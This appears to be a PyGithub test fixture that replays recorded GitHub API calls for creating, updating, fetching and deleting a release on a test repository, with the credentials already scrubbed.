{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4872'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E56A:5FD2:19E623:48A893:5F0D5433')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4871'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E572:6856:5EA1A3:DEDC9C:5F0D5433')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4870'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"35c4b19d4434b45bc26c10a5c243c74a"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/95dc083e8752ae45a5efe3cae8e3d3ba33250d6c'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E57A:629D:B24B24:13039C5:5F0D5434')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2Ojk1ZGMwODNlODc1MmFlNDVhNWVmZTNjYWU4ZTNkM2JhMzMyNTBkNmM=","sha":"95dc083e8752ae45a5efe3cae8e3d3ba33250d6c","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/95dc083e8752ae45a5efe3cae8e3d3ba33250d6c","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T06:44:04Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4869'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ca1c73f57d861bad6066eb2ba0fc181c"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E586:0FDE:624647:E62001:5F0D5434')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530292,"node_id":"MDc6UmVsZWFzZTI4NTMwMjky","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:04Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530292 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4868'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ca1c73f57d861bad6066eb2ba0fc181c"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:04 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E594:522E:CF7DC3:15461A0:5F0D5435')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530292,"node_id":"MDc6UmVsZWFzZTI4NTMwMjky","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:04Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https PATCH api.github.com None /repos/rickrickston123/RepoTest/releases/28530292 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "Updated Test", "body": "Updated Body", "draft": false, "prerelease": false} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4867'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"27009137564efa77ad6e1a5e79f17215"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E59A:6562:BC4A80:139E11D:5F0D5435')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530292,"node_id":"MDc6UmVsZWFzZTI4NTMwMjky","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"Updated Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:04Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"Updated Body"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530292 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4866'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"27009137564efa77ad6e1a5e79f17215"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:05 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5A4:53F8:5ECBBD:CC90E7:5F0D5436')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530292/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530292,"node_id":"MDc6UmVsZWFzZTI4NTMwMjky","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"Updated Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:04Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"Updated Body"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28530292 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:06 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4865'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E5AC:27D8:B4856A:12BDDB4:5F0D5436')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 